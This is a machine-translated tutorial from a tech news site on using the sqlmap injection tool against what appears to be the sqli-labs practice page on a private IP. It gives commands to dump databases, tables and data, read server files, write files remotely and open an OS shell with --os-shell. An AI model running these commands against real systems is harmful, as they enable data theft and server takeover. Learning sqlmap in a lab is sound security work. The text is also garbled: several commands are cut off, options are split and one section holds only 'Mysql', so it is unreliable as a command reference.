Shulou(Shulou.com)06/01 Report--

This article introduces the injection tool sqlmap how to enumerate information, the content is very detailed, interested friends can refer to, hope to be helpful to you.

I. enumerate the database name

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- dbs

Enumerate database tables

Qlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-D security-- tables

Enumerate data values

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1">

List schema information

-- exclude-sysdbs excludes system database

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1">

6. The amount of data in the key table

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1">

VII. Brute force to crack data

Mysql

8. Read the file

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- file-read=" C:\ phpStudy\ PHPTutorial\ WWW\ index.php "

IX. Write to a file

-- file-write local file

-- file-dest writes files remotely

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1">

10. Retrieve all information

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-a

Execute a command of the system

Sqlmap-u "http://192.168.1.121/sqli/Less-1/?id=1"-- os-shell

This is the end of the information on how to enumerate the injection tool sqlmap. I hope the above content can be helpful to you and learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.